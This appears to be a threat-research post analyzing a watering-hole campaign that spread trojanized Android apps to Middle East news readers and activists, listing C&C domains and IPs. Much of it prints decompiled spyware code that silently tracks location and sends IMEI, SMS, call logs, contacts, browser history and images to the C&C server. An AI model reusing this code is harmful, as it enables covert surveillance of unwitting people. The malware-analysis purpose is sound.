The Mobile Watering Hole: How A Sip Leads to A Trojan Compromise
“Watering Hole” is a cyber attack strategy in which the victim is a particular group (organization, industry, or region). In this attack, the attacker typically observes which websites or applications the group often uses and infects one or more of them with malware. Eventually, some members of the targeted group become infected.

The method is typically used to target high-security targets through their low-security contacts, employees, business partners and connected personnel.
While the target will do its best to be careful while using their device and keep themselves protected, their messages and phone calls go to other devices, which might be unprotected and used in an unsafe way.
Known attacks are: 2018 Chinese state-level attack, 2017 ExPetr attack and the 2016 Polish banks attack.
There is no need for a precious zero day exploit, the use of professional first class hackers, or the collaboration with leading intelligence agencies to manage these attacks.
The attack can be perpetrated through utilizing raw access points, unsecured wireless networks, insecure or vulnerable websites, social engineering and other methods which are not state of the art in cyber attacks.
Here we analyze groups of Android applications installed while tricking users that were accessing targeted Android applications, news sites and liberal political issues journals around the Middle East.
Trojan RSS at the Watering Hole
An innocent looking application with malicious spyware code payload is often called a Trojan Horse. One of the applications in our case study is ArabicRSS. It is the same as the legitimate application that could be safely downloaded and installed from the market, but with a malicious spyware code payload.

Al-Hayat (“The life”) is a London-based, pan-Arab newspaper and the preferred venue for liberal intellectuals who wish to express themselves to a large public. The watering hole victims in our case study are the Android device users who had an interest in several political issues at the time.
The attacks had been carried out by the redirection from the AL-Hayat and other related sites, and by other social engineering methods to a site tricking the user into downloading and installing the malicious Trojan.

Redirection from a legitimate source to a site on which the user will download the malware can be done by simple techniques such as a Man In The Middle Attack (MITM), Social Engineering and other redirection means. In addition, the attacker can use vulnerabilities in the websites and inject malicious JavaScript or HTML code redirecting the target to a separate site where the malware is hosted.
It is commonplace to decompile an application that can be legitimately downloaded from the app store, ‘inject’ malicious code payload that will work confidentially on the attacked device and repack the application’s APK(app file).
ArabicRSS.apk Application
Let us examine the ArabicRss.apk 3.4.1 trojan-infected application. The original ArabicRSS.apk application is a legitimate app for reading RSS feeds of several main Arabic language news sites.
The Trojan enables various spyware data-traffic driven functions of sending and monitoring: contacts, SMS messages, call logs, device location, device information, account details and images from the DCIM (Digital Camera IMages) directory.
Additional spyware functions include: location tracing, call recording, and regular surround recording – triggered by the screen being turned off.
Trojan payload code can be found in numerous open source projects. In the ArabicRSS case, the Trojan payload is based on reverse engineering of an older version of the commercial spyware, Spymaster Pro.
The application apparently looks and functions the same with or without the Trojan payload.

The Trojan Network
Trojan agent networks are usually managed by a Command and Control (C&C) server architecture.
The C&C responsibilities include collecting the data from the Trojan agent nodes and sending them commands for the different spying actions the Trojan is able to commit.
The ArabicRSS Trojan was one out of a group of at least five different applications that had the same Trojan payload. We mark them as the G2 group.
In total, there are at least three different Trojan payloads found at least at 13 different applications controlled from two different C&C servers.

The ArabicRSS Trojan takes its C&C server address from the “androidupdaters.com/img.jpg” file.
The “androidupdaters.com” domain serves as “Intermediate Servers” – another network node between the Trojan clients and their corresponding C&C servers.
As seen in the graph, the domains contained the ‘img.jpg’ and the ‘google_logo.jpg’ image files.
The ‘imag.jpg’ and the ‘google_logo.jpg’ image files contain the following IP Addresses: 5.61.27.154 and 5.61.27.157, on which the C&Cs where hosted.

The “androidupdaters” domains have been hosted on the following IP Addresses: 178.162.214.146 and 91.109.16.85.
The androidupdaters.com intermediate servers were accessed by a different Trojan payload that was found in three different applications – the G3 group. It is the most advanced payload in the network.
G3 payload contain the base URL www.rhubarb3.com for their C&C servers.
The rhubarb-n domains are common to another Trojan payload type, the G1 Trojan group, on which the URL acts as a C&C server for five other different applications. The G1 group is the oldest group and the simplest among them.
The “rhubarb-3” domains have been hosted on the following IP addresses: 46.4.74.56 and 5.144.130.33.
The servers using IP Addresses: 178.162.214.146 and 91.109.16.85 are located in Düsseldorf, North Rhine-Westphalia, Germany, and are hosting several Iranian domains.
Among these domains, there are sites of Iranian Educational consulting system, student research groups, aerial imaging and an Iranian-Korean content download portal.
Technical Analysis
Let us review the Trojan types and the “Trojanized” applications. Readers who are not interested in the technical analysis are encouraged to skip to the “Summary and Conclusions” section.
G2 Group
Spymaster Pro based spyware/backdoor. The code is under the package name of apaspy.iqual.appspy.
The Trojan provides various spyware functions of sending and monitoring: contacts, SMS messages, call logs, device location, device information, account details, images from the DCIM (Digital Camera IMages) directory. Additional spyware functions of location tracing, call recording, regular surround recording – triggered by the screen being off.
Trojanized applications:
- com.alywa.arabic.name – the Arabic RSS application
- alnaharegypt.news – the Egyptian ‘Al Nahar’ magazine application
- com.ann.newspaper – The Asia News Network
- com.wallpaper – yet another ‘adults wallpaper” app.
- iqual.apaspy – yet another porn-malware app.

G3 Group
A more advanced and powerful spyware/backdoor payload was also assessed. It has stronger capabilities than the first Trojan payload; in addition to basic capabilities of the first Trojan type. Those capabilities require a root permission and specifically target rooted devices.
The code is under the package name of com.testunit.
With root permissions, the attacker will gain the following malicious capabilities:
- Keylogger that captures all text inputs, including passwords and safe, confidential and self destructed messages.
- Exfiltrate and monitor 3rd party applications: whatsapp, Telegram, Facebook Messenger, Snapchat etc.
Trojanized applications:
- free.vpn.proxy.unblock.android.easy.app – VPN Easy – offers “free” VPN services.
- com.del.tele.acc – delete telegram account application.
- ltd.banehappy.drofirewall – DroFireWall is a front-end application for performing several system level operations. Most of those actions are not allowed to be executed without a root permission and/or the Device Admin Support: iptables Linux firewall management, Display blocked packets, control traffic within the local network or while being connected through a VPN, manage system applications and more.

G1 Group
Minimal spyware payload running within a single service.
The G1 Group is the parent of the G3 group. Goals of the malware include:
- Exfiltrate data of call logs, SMS, contacts, location, accounts, camera silent shot and device info.
- The applications contain content about supporting the residents’ protest in the Kurdish-Iranian region, a communique against radical Islam and its use for control of the common people and more moderate issues about the Islamic religion and regimes in the Middle East.
Trojanized applications:
- com.majale.majale2 – Islamic Journals #2. A collection of articles about moderate Islamic issues, like:
-
- The banning the Takfir – a Muslim who accuses another Muslim of apostasy according to the Muslim religion.
- The verdict (Fatwa) of religion about Shi’a groups.
- Excuse of ignorance under the scrutiny of (Islamic) religion.
-
- com.app.kampynmariwansanandaj – Marivan, human rights activity in the Marivan-Sanandaj region at the Iranian-Kurdistan-Iraq borders.
- com.example.allinone – “all in one” messenger. The application mimics an application that is purported to manage all instant messaging in a single application. In reality, it takes the user name and password and sends it to the rhubarb3 C&C. The application contains evidence relating to some all-in-one application and an older version of the above Islamic Journals.
- com.app.postrall – Postal Secure App.
- com.app.referendumkurdistan – Application that is related to the independence referendum for Iraqi Kurdistan.

Trojan Vessel Application Types
It is worth noting there are several types of applications chosen to be vessels for the Trojan malware:
- Legitimate, free applications available on the official app store. This is the most innocent looking form of the Trojan because at first glance the app looks familiar (and therefore “safe”). The disadvantages of this approach, from the attacker’s perspective, are the Trojan is more “noticeable” due to:
- The original application being available on the Google Play Store. The Trojanized fake application would most likely forbidden from being published on the Google Play Store in the first place, due to copyright infringement. The user needs to be enticed into sideloading the app onto a device that enables running apps from unknown sources.
- The extended permission set. In the ArabicRSS instance, the Trojanized app is requesting 64 different permissions while the original asks only for three.
- The dangerous permission set, especially the BIND_DEVICE_ADMIN.
- The amount of receivers registered to almost all device actions under the intent-filters. In the ArabicRSS instance, the Trojanized app is being triggered by 29 actions while the original reacts for only four.
- “Adult” application is the most common vessel for a malicious payload, but it usually functions as adware or as ransomware. The infection rate is higher and the original application looks more like the Trojan and therefore, less “noticeable” due to:
- People don’t like to pay for software. The Trojanized fake app is free.
- The original and the malicious versions look similar in aspects of permissions and receivers. Free fake applications, without the Trojan payload, usually gain revenue by aggressive advertising, adware manipulations or trading with personal data. In order to keep running in the background and pushing ads, the app requires many permissions and subscribes on multiple receivers.
- Security tools. It is actually very common for several reasons:
- The information that one side wished to hide is what the side that the information has been hidden from wishes to reveal.
- Security tool applications might need root permissions in order to function properly.
- Root permission applications. In many cases, applications requiring root permissions are forbidden from being published on an official app store. As a result, those applications are often installed as sideload applications. Root permission can provide more spying capabilities like:
- Being more invisible to the user.
- Surviving deletion or even a factory reset.
- Disabling threats like anti-virus apps and system application management services.
- Bypassing system restrictions of recording, finding location and staying alive in the background without any icon or notification, key-logger, spy on 3rd party applications like WhatsApp, Telegram, Facebook Messenger etc.
Trojan Code Analysis
Let us examine the decompiled code of the ArabicRss.apk spyware. The application contains two fully functional code parts:
- The original ArabicRSS 3.4.1 application code all placed under the com.alywa.arabic package.
- The spyware code, based on the reverse engineering of an older commercial spyware Spymaster Pro placed under the apaspy.iqual.appspy package. The iqual is the common name in both spymaster and the Trojan packages.

Trojan at Work
Any complete spyware app needs to have specific base capabilities:
- Know where the C&C should be addressed.
- Have a communication protocol between C&C and the agent.
- Stay synchronized with the C&C for the data transfer. Be able to monitor the data, keep it “indexed” and send all of the data or parts of it again.
- Know how to handle the collected data, how much of it to store and when to send it.
- Keep being responsive, be ready to take orders in time.
- Staying undiscovered.
Let us review how the above are achieved. There are many data collection and active actions, so we will review just a small part that will indicate the whole lifecycle workflow.
“Keep Alive”
The application needs to run in the background, performing the task of spying without exposing any evidence of its existence.
While some spying tasks like monitoring SMS and call log can be triggered by registering a Broadcast Receiver to the Intent broadcasting, other tasks like location tracing and web browsing monitoring are tasks requiring some work without any wakeful event.
Other tasks consuming more resources such as CPU time and memory, for example, communication with the C&C servers, need to run in the background without any notifications.
The backbone of the Trojan work will be performed on the ‘AppService’ and ‘Mal’ main service classes, implementing a wakeful IntentService. Most of the resource-consuming tasks will be performed on top of these services. For simplification, we will refer both worker services as a single service.
Let us review the Trojan workflow:
- Most of the main device actions producing action Intents are caught by the ‘MyReceiver’ Broadcast Receiver class.
- The main AppService is launched if it isn’t already running.
- Some of these actions’ data, like calls and SMS traffic, are stored in real time in the local database. Most of the data is collected by single activity receivers. For example, a PhoneStateListener implementation monitors the call logs and manages the recording service as will be presented at the ‘Data Collection’ section below.
- The AppService executes several resource-consuming actions:
- Checks the current data collection status and check with the C&C if this data is up to date on the C&C side.
- Collects data that has no action Intent like location monitoring, web browsing and contact storage modifications.
- If an Internet connection is available on the device, the service sends any collected data not sent previously.
- Any data that was not sent and accepted at the C&C will be sent.
- In a case of an idle device, the Trojan will wake the device repetitively by the AlarmManager the AppService will be launched on device reboot.
Code: apaspy.iqual.appspy.MyReceiver, AppService, OnBootReceiver components at AndroidManifast.xml at Trojanized ArabicRSS.apk – package com.alywa.arabic.name, version 3.4.1
<receiver android:name="apaspy.iqual.appspy.MyReceiver"> | |
<intent-filter> | |
<action android:name="android.intent.action.BOOT_COMPLETED" /> | |
<action android:name="android.intent.action.BATTERY_CHANGED" /> | |
<action android:name="android.intent.action.BATTERY_LOW" /> | |
<action android:name="android.intent.action.DATE_CHANGED" /> | |
<action android:name="android.intent.action.WALLPAPER_CHANGED" /> | |
<action android:name="android.intent.action.REBOOT" /> | |
<action android:name="android.intent.action.SCREEN_ON" /> | |
<action android:name="android.intent.action.ACTION_POWER_CONNECTED" /> | |
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED" /> | |
<action android:name="android.intent.action.CAMERA_BUTTON" /> | |
<action android:name="android.intent.action.GTALK_CONNECTED" /> | |
<action android:name="android.intent.action.HEADSET_PLUG" /> | |
<action android:name="android.intent.action.DEVICE_STORAGE_LOW" /> | |
<action android:name="android.intent.action.DEVICE_STORAGE_OK" /> | |
<action android:name="android.intent.action.DREAMING_STARTED" /> | |
<action android:name="android.intent.action.INPUT_METHOD_CHANGED" /> | |
<action android:name="android.intent.action.MEDIA_NOFS" /> | |
<action android:name="android.intent.action.MEDIA_EJECT" /> | |
<action android:name="android.intent.action.PACKAGE_FIRST_LAUNCH" /> | |
<action android:name="android.intent.action.PHONE_STATE" /> | |
</intent-filter> | |
</receiver> | |
<receiver android:name="apaspy.iqual.appspy.OnBootReceiver" android:permission="android.permission.RECEIVE_BOOT_COMPLETED" android:enabled="true"> | |
<intent-filter> | |
<action android:name="android.intent.action.BOOT_COMPLETED" /> | |
<category android:name="android.intent.category.DEFAULT" /> | |
</intent-filter> | |
</receiver> | |
<service android:name="apaspy.iqual.appspy.AppService" /> |
Code: apaspy.iqual.appspy.MyReceiver, AppService, OnBootReceiver java code at Trojanized ArabicRSS.apk – package com.alywa.arabic.name, version 3.4.1
public class AppService extends WakefulIntentService { | |
static int Count_GPS_Not_Null = 0; | |
static int Count_GPS_Off = 0; | |
private static final int HANDLER_DELAY = 60000; | |
private static final long MIN_DISTANCE_CHANGE_FOR_UPDATES = 1; | |
private static final long MIN_TIME_BW_UPDATES = 60000; | |
private static final long START_HANDLER_DELAY = 60000; | |
static boolean Status_GPS_Function = true; | |
static Boolean check_start_AppService = Boolean.valueOf(false); | |
static Boolean check_start_upload_info = Boolean.valueOf(true); | |
static String deviceIMEI; | |
ArrayList<String> AppInfo = new ArrayList(); | |
ArrayList<String> AppIsExist = new ArrayList(); | |
ArrayList<String> AudiofileName = new ArrayList(); | |
ArrayList<String> AudiopathName = new ArrayList(); | |
ArrayList<String> CallDuration = new ArrayList(); | |
ArrayList<String> CallType = new ArrayList(); | |
ArrayList<String> CallerNo = new ArrayList(); | |
ArrayList<String> CallerTiming = new ArrayList(); | |
ArrayList<String> ImagefileName = new ArrayList(); | |
ArrayList<String> ImagepathName = new ArrayList(); | |
ArrayList<String> PhoneBookName = new ArrayList(); | |
ArrayList<String> PhoneBookNo = new ArrayList(); | |
ArrayList<String> PhoneBookType = new ArrayList(); | |
ArrayList<String> UrlLink = new ArrayList(); | |
ArrayList<String> UrlName = new ArrayList(); | |
ArrayList<String> UrlTime = new ArrayList(); | |
Double _curLat; | |
Double _curLng; | |
Activity activity; | |
boolean canGetLocation = false; | |
Context context; | |
int count_num_gps = 2; | |
int count_step_to_send_AppInfo = 2; | |
int count_step_to_send_BrowserHistory = 1; | |
int count_step_to_send_Image = 1; | |
int count_step_to_send_PhoneBook = 2; | |
GPSTracker gps; | |
boolean isGPSEnabled = false; | |
boolean isNetworkEnabled = false; | |
double latitude; | |
Location location; | |
protected LocationManager locationManager; | |
double longitude = 0.0d; | |
private ScreenReceiver mReceiver; | |
String strAddress; | |
TelephonyManager telephony; | |
class C02681 implements Runnable { | |
C02681() { | |
} | |
public void run() { | |
try { | |
AppService.this.GPS_GET_Location_Period(); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
} | |
class C02692 implements LocationListener { | |
C02692() { | |
} | |
public void onLocationChanged(Location location) { | |
} | |
public void onProviderDisabled(String provider) { | |
} | |
public void onProviderEnabled(String provider) { | |
} | |
public void onStatusChanged(String provider, int status, Bundle extras) { | |
} | |
} | |
public AppService() { | |
super("AppService"); | |
} | |
protected void doWakefulWork(Intent intent) { | |
try { | |
if (ScreenStateService.mReceiver == null) { | |
try { | |
startService(new Intent(this, ScreenStateService.class)); | |
} catch (Exception e) { | |
} | |
} | |
} catch (Exception e2) { | |
} | |
if (!check_start_AppService.booleanValue()) { | |
check_start_AppService = Boolean.valueOf(true); | |
try { | |
if (Count_GPS_Not_Null == 5) { | |
Count_GPS_Not_Null = 0; | |
} | |
if (Count_GPS_Not_Null == 0) { | |
new Thread(new C02681()).start(); | |
} else { | |
Count_GPS_Not_Null++; | |
} | |
} catch (Exception e3) { | |
} | |
if (check_start_upload_info.booleanValue()) { | |
try { | |
Start_All_Services(); | |
} catch (Exception e4) { | |
} | |
} | |
check_start_AppService = Boolean.valueOf(false); | |
} | |
} | |
private void Start_All_Services() { | |
try { | |
if (check_start_upload_info.booleanValue()) { | |
check_start_upload_info = Boolean.valueOf(false); | |
this.context = this; | |
System.out.println("Inside of dowakefull"); | |
deviceIMEI = ((TelephonyManager) getSystemService("phone")).getDeviceId(); | |
if (CheckConnection() == 1) { | |
String tmp_user = LoginUser(deviceIMEI).toString().trim(); | |
if (CheckConnection() == 1) { | |
try { | |
GPSData(deviceIMEI); | |
} catch (Exception e) { | |
Log.e("My Error GPSData ", e.toString()); | |
} | |
} | |
try { | |
if (CheckConnection() == 1) { | |
try { | |
readOutgoingSMS(); | |
} catch (Exception e2) { | |
} | |
try { | |
SendSMS(deviceIMEI); | |
} catch (Exception e3) { | |
} | |
} | |
if (CheckConnection() == 1) { | |
try { | |
sendCallDetails(deviceIMEI); | |
} catch (Exception e4) { | |
} | |
} | |
if (CheckConnection() == 1) { | |
try { | |
ScreenReceiver.upload_all_file_and_delete(); | |
} catch (Exception e5) { | |
} | |
} | |
if (CheckConnection() == 1) { | |
try { | |
if (this.count_step_to_send_PhoneBook == 0 && Integer.parseInt(CheckPhoneBookNew(deviceIMEI).replace("\n", "").replace("\r", "").replace(" ", "").replace("\u0000", "").replace('', ' ').replace(" ", "").trim()) < readPhonebook()) { | |
SendPhoneBook(deviceIMEI); | |
} | |
this.count_step_to_send_PhoneBook++; | |
if (this.count_step_to_send_PhoneBook == 3) { | |
this.count_step_to_send_PhoneBook = 0; | |
} | |
} catch (Exception e6) { | |
} | |
} | |
if (CheckConnection() == 1) { | |
if (this.count_step_to_send_BrowserHistory == 0) { | |
String Browser_last_insert = ""; | |
for (int i = 0; i < 10; i++) { | |
Browser_last_insert = SendBrowserDetails_GetLastTime(deviceIMEI); | |
if (Browser_last_insert != null) { | |
break; | |
} | |
if (Browser_last_insert != null) { | |
try { | |
Browser_last_insert = Browser_last_insert.replace("\n", "").replace("\r", "").replace("\u0000", "").replace('', ' ').trim(); | |
if (Browser_last_insert != "") { | |
break; | |
} | |
} catch (Exception e7) { | |
} | |
} | |
} | |
Browser_last_insert = Browser_last_insert.replace("\n", "").replace("\r", "").replace("\u0000", "").replace('', ' ').trim(); | |
if (Browser_last_insert.indexOf(CleanerProperties.BOOL_ATT_EMPTY) > -1) { | |
Browser_last_insert = "0000-00-00 00:00:00"; | |
} | |
if (Browser_last_insert != null) { | |
try { | |
getBrowserDetails(Browser_last_insert); | |
} catch (Exception e8) { | |
} | |
try { | |
SendBrowserDetails(deviceIMEI); | |
} catch (Exception e9) { | |
} | |
} | |
} | |
this.count_step_to_send_BrowserHistory++; | |
if (this.count_step_to_send_BrowserHistory == 3) { | |
this.count_step_to_send_BrowserHistory = 0; | |
} | |
} | |
if (CheckConnection() == 1) { | |
try { | |
if (this.count_step_to_send_AppInfo == 0) { | |
readAppInfo(); | |
SendAppInfo(deviceIMEI); | |
} | |
this.count_step_to_send_AppInfo++; | |
if (this.count_step_to_send_AppInfo == 5) { | |
this.count_step_to_send_AppInfo = 0; | |
} | |
} catch (Exception e10) { | |
} | |
} | |
if (CheckConnection() == 1) { | |
try { | |
if (this.count_step_to_send_Image == 0) { | |
getSentImages(); | |
sendImageData(deviceIMEI); | |
} | |
this.count_step_to_send_Image++; | |
if (this.count_step_to_send_Image == 1) { | |
this.count_step_to_send_Image = 0; | |
} | |
} catch (Exception e11) { | |
} | |
} | |
} catch (Exception e12) { | |
Log.e("My Error first wakelock", e12.toString()); | |
check_start_upload_info = Boolean.valueOf(true); | |
} | |
check_start_upload_info = Boolean.valueOf(true); | |
} | |
check_start_upload_info = Boolean.valueOf(true); | |
check_start_upload_info = Boolean.valueOf(true); | |
} | |
} catch (Exception e13) { | |
} | |
} | |
private void turnGPSOn2() { | |
try { | |
Intent intent = new Intent("android.location.GPS_ENABLED_CHANGE"); | |
intent.putExtra("enabled", true); | |
sendBroadcast(intent); | |
} catch (Exception exp) { | |
System.out.println("Error GPS ON2 = " + exp.toString()); | |
} | |
try { | |
if (!Secure.getString(getContentResolver(), "location_providers_allowed").contains("gps")) { | |
Intent poke = new Intent(); | |
poke.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider"); | |
poke.addCategory("android.intent.category.ALTERNATIVE"); | |
poke.setData(Uri.parse("3")); | |
sendBroadcast(poke); | |
} | |
} catch (Exception exp2) { | |
System.out.println("Error GPS ON =" + exp2.toString()); | |
} | |
} | |
private void turnGPSOff2() { | |
try { | |
Intent intent = new Intent("android.location.GPS_ENABLED_CHANGE"); | |
intent.putExtra("enabled", false); | |
sendBroadcast(intent); | |
} catch (Exception exp) { | |
System.out.println("Error GPS OFF1 = " + exp.toString()); | |
} | |
try { | |
if (Secure.getString(getContentResolver(), "location_providers_allowed").contains("gps")) { | |
Intent poke = new Intent(); | |
poke.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider"); | |
poke.addCategory("android.intent.category.ALTERNATIVE"); | |
poke.setData(Uri.parse("3")); | |
sendBroadcast(poke); | |
} | |
} catch (Exception exp2) { | |
System.out.println("Error GPS OFF = " + exp2.toString()); | |
} | |
} | |
private void turnGPSOn() { | |
try { | |
if (!Secure.getString(getContentResolver(), "location_providers_allowed").contains("gps")) { | |
Intent poke = new Intent(); | |
poke.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider"); | |
poke.addCategory("android.intent.category.ALTERNATIVE"); | |
poke.setData(Uri.parse("3")); | |
sendBroadcast(poke); | |
} | |
} catch (Exception exp) { | |
System.out.println("Error GPS Log Database = " + exp.toString()); | |
} | |
} | |
private void turnGPSOff() { | |
try { | |
if (Secure.getString(getContentResolver(), "location_providers_allowed").contains("gps")) { | |
Intent poke = new Intent(); | |
poke.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider"); | |
poke.addCategory("android.intent.category.ALTERNATIVE"); | |
poke.setData(Uri.parse("3")); | |
sendBroadcast(poke); | |
} | |
} catch (Exception exp) { | |
System.out.println("Error GPS Log Database = " + exp.toString()); | |
} | |
} | |
private void GPS_GET_Location_Period() { | |
if (Status_GPS_Function) { | |
Status_GPS_Function = false; | |
try { | |
turnGPSOn2(); | |
} catch (Exception exp) { | |
System.out.println("Error GPS ON = " + exp.toString()); | |
} | |
do { | |
this.latitude = 0.0d; | |
this.longitude = 0.0d; | |
try { | |
if (this.latitude == 0.0d && this.longitude == 0.0d) { | |
find_Location(this); | |
} | |
} catch (Exception exp2) { | |
System.out.println("Error GPS find_Location = " + exp2.toString()); | |
} | |
try { | |
if (this.latitude == 0.0d && this.longitude == 0.0d) { | |
this.gps = new GPSTracker(this); | |
if (this.gps.canGetLocation()) { | |
this.latitude = this.gps.getLatitude(); | |
this.longitude = this.gps.getLongitude(); | |
} | |
} | |
} catch (Exception exp22) { | |
System.out.println("Error GPS GPSTracker = " + exp22.toString()); | |
} | |
if (this.latitude != 0.0d && this.longitude != 0.0d) { | |
Count_GPS_Off = 0; | |
try { | |
DatabaseHandlers db = new DatabaseHandlers(this); | |
String gpsDate = new SimpleDateFormat("yyy-MM-dd HH:mm:ss").format(new Date()); | |
db.Insert_table("tbl_GPS", new String[]{"Lat", "Long", "Time"}, new String[]{Double.toString(this.latitude), Double.toString(this.longitude), gpsDate}); | |
db.close(); | |
Count_GPS_Not_Null++; | |
} catch (Exception exp222) { | |
System.out.println("Error GPS Log Database = " + exp222.toString()); | |
} | |
Count_GPS_Off = 0; | |
turnGPSOff2(); | |
break; | |
} | |
try { | |
Count_GPS_Off++; | |
} catch (Exception exp2222) { | |
try { | |
System.out.println("Error GPS Log Database = " + exp2222.toString()); | |
} catch (Exception exp22222) { | |
System.out.println("Error GPS Log Database = " + exp22222.toString()); | |
} | |
} | |
try { | |
if (!(this.latitude == 0.0d || this.longitude == 0.0d) || ScreenReceiver.wasScreenOn || Count_GPS_Off > 20) { | |
Count_GPS_Off = 0; | |
turnGPSOff2(); | |
break; | |
} | |
} catch (Exception exp222222) { | |
System.out.println("Error GPS OFF = " + exp222222.toString()); | |
} | |
try { | |
Thread.sleep(500); | |
} catch (InterruptedException e) { | |
e.printStackTrace(); | |
} | |
try { | |
if ((this.latitude == 0.0d || this.longitude == 0.0d) && !ScreenReceiver.wasScreenOn) { | |
} | |
} catch (Exception e2) { | |
} | |
} while (Count_GPS_Off <= 20); | |
Count_GPS_Off = 0; | |
turnGPSOff2(); | |
Status_GPS_Function = true; | |
} | |
} | |
public String CheckPhoneBookNew(String devid) { | |
String result = "error"; | |
try { | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
HttpContext localContext = new BasicHttpContext(); | |
try { | |
String url = Mal.Server_Domain + "/spyMobile/api_phonebookaccess.php?imei=" + devid + "&numberType=" + "ContactNumber"; | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
HttpPost httpPost = new HttpPost(url); | |
HttpResponse response = null; | |
try { | |
response = httpClient.execute(httpPost, localContext); | |
} catch (ClientProtocolException e) { | |
} catch (IOException e2) { | |
} | |
HttpPost httpPost2; | |
try { | |
try { | |
result = convertStreamToString(response.getEntity().getContent()); | |
} catch (IllegalStateException e3) { | |
e3.printStackTrace(); | |
} catch (IOException e4) { | |
e4.printStackTrace(); | |
} | |
httpPost2 = httpPost; | |
} catch (Exception e5) { | |
httpPost2 = httpPost; | |
Mal.findServer(); | |
return result; | |
} | |
} catch (Exception e6) { | |
Mal.findServer(); | |
return result; | |
} | |
} catch (Exception e7) { | |
e7.printStackTrace(); | |
} | |
return result; | |
} | |
private boolean IsValid(String strDataDate) { | |
String strYear = strDataDate.substring(0, 4); | |
String strMonth = strDataDate.substring(5, 7); | |
String strDate = strDataDate.substring(8, 10); | |
String strCurrentYear = getCurrentDate().substring(0, 4); | |
String strCurrentMonth = getCurrentDate().substring(5, 7); | |
String strCurrentDate = getCurrentDate().substring(8, 10); | |
if (Integer.parseInt(strYear) < Integer.parseInt(strCurrentYear) || Integer.parseInt(strMonth) < Integer.parseInt(strCurrentMonth) || Integer.parseInt(strDate) < Integer.parseInt(strCurrentDate)) { | |
return false; | |
} | |
return true; | |
} | |
private String getCurrentDate() { | |
String formattedDate = null; | |
try { | |
long installed = new File(this.context.getPackageManager().getApplicationInfo("com.androidspybubble.app", 0).sourceDir).lastModified(); | |
Calendar c = Calendar.getInstance(); | |
c.setTimeInMillis(installed); | |
formattedDate = new SimpleDateFormat("yyyy-MM-dd").format(c.getTime()); | |
} catch (Exception e) { | |
System.out.println("Date Error = " + e.toString()); | |
} | |
return formattedDate; | |
} | |
public String LoginUser(String devid) { | |
String result = "error"; | |
try { | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
String url = Mal.Server_Domain + "/spyMobile/api_imei.php?imei=" + devid; | |
Log.d("url", url); | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
try { | |
result = convertStreamToString(httpClient.execute(new HttpPost(url)).getEntity().getContent()); | |
} catch (IllegalStateException e) { | |
e.printStackTrace(); | |
} catch (IOException e2) { | |
e2.printStackTrace(); | |
} | |
} catch (Exception e3) { | |
Mal.findServer(); | |
} | |
return result; | |
} | |
private void readAppInfo() { | |
try { | |
PackageManager pm = getPackageManager(); | |
List<ApplicationInfo> apps = pm.getInstalledApplications(0); | |
List<ApplicationInfo> installedApps = new ArrayList(); | |
for (ApplicationInfo app : apps) { | |
try { | |
if ((app.flags & 128) == 1) { | |
installedApps.add(app); | |
System.out.println("System installed app label : " + ((String) pm.getApplicationLabel(app))); | |
} else if ((app.flags & 1) != 1) { | |
installedApps.add(app); | |
String label = (String) pm.getApplicationLabel(app); | |
this.AppInfo.add(label); | |
this.AppIsExist.add("Yes"); | |
System.out.println("User installed app label : " + label); | |
} | |
} catch (Exception e) { | |
System.out.println("Error in browser send = " + e.toString()); | |
} | |
} | |
} catch (Exception e2) { | |
System.out.println("Error in browser send = " + e2.toString()); | |
} | |
} | |
public String SendAppInfo(String devid) { | |
HttpPost httpPost; | |
Exception e; | |
String result = "error"; | |
try { | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
HttpContext localContext = new BasicHttpContext(); | |
int i = 0; | |
HttpPost httpPost2 = null; | |
while (i < this.AppInfo.size()) { | |
try { | |
try { | |
try { | |
String strMessageText = URLEncoder.encode((String) this.AppInfo.get(i), "utf-8"); | |
} catch (UnsupportedEncodingException e1) { | |
e1.printStackTrace(); | |
} | |
String url = Mal.Server_Domain + "/spyMobile/api_appinfo.php?imei=" + devid + "&appinfo=" + ((String) this.AppInfo.get(i)) + "&isappexist=" + ((String) this.AppIsExist.get(i)); | |
Log.d("Send appinfo url", url); | |
url = url.replace(" ", "%20"); | |
httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
httpPost = new HttpPost(url); | |
HttpResponse response = null; | |
try { | |
response = httpClient.execute(httpPost, localContext); | |
} catch (ClientProtocolException e2) { | |
} catch (IOException e3) { | |
} | |
try { | |
try { | |
result = convertStreamToString(response.getEntity().getContent()); | |
} catch (IllegalStateException e4) { | |
e4.printStackTrace(); | |
} catch (IOException e5) { | |
e5.printStackTrace(); | |
} | |
} catch (Exception e6) { | |
try { | |
Mal.findServer(); | |
i++; | |
httpPost2 = httpPost; | |
} catch (Exception e7) { | |
e = e7; | |
} | |
} | |
} catch (Exception e8) { | |
httpPost = httpPost2; | |
Mal.findServer(); | |
i++; | |
httpPost2 = httpPost; | |
} | |
i++; | |
httpPost2 = httpPost; | |
} catch (Exception e9) { | |
e = e9; | |
httpPost = httpPost2; | |
} | |
} | |
} catch (Exception e10) { | |
System.out.println("Error in browser send = " + e10.toString()); | |
} | |
return result; | |
e10.printStackTrace(); | |
return result; | |
} | |
public String GPSData(String devid) { | |
DatabaseHandlers db; | |
HttpPost httpPost; | |
Exception e; | |
String result = "error"; | |
try { | |
DefaultHttpClient httpClient = new DefaultHttpClient(); | |
HttpContext localContext = new BasicHttpContext(); | |
new Time(Time.getCurrentTimezone()).setToNow(); | |
db = new DatabaseHandlers(this.context); | |
try { | |
List<String> Data = db.getAllData("tbl_GPS", new String[]{"Lat", "Long", "Time"}); | |
Boolean Write_log_for_first_step = Boolean.valueOf(true); | |
int i = 0; | |
HttpPost httpPost2 = null; | |
while (i < Data.size()) { | |
try { | |
if (Write_log_for_first_step.booleanValue()) { | |
Write_log_for_first_step = Boolean.valueOf(false); | |
} | |
try { | |
String latit = (String) Data.get(i); | |
String longi = (String) Data.get(i + 1); | |
String timing = (String) Data.get(i + 2); | |
